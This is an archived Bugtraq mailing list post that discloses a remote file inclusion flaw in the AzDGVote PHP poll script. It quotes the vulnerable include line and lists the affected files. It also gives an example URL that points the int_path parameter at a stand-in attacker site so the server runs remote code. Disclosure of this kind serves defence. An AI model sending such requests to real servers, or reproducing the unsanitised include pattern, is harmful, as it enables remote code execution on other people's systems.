Home page logo
/

bugtraq logo Bugtraq mailing list archives

AzDGVote File inclusion
From: selfar2002 () hotmail com
Date: 11 Apr 2006 22:03:20 -0000

AzDGVote File inclusion
---------------------------------
Site:http://www.azdg.com/
Demo:http://www.azdg.com/scripts/AzDGVote/vote.php?id=1

---------------------------------------
File inclusion


include $int_path."/AzDG.template.inc.php";


int_path parameter File inclusion

Aut File

vote.php,view.php,admin.php
and /admin/index.php


---------------------------------------
example


http://victim.com/poll/view.php?int_path=http://evilsite


-----------------------------------------
Discovered By SnIpEr_SA
E-mail:selfar2002 () hotmail com,SnIpEr_SA () bsdmail org
Site: www.3asfh.com www.lezr.com


  By Date           By Thread  

Current thread:
  • AzDGVote File inclusion selfar2002 (Apr 11)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]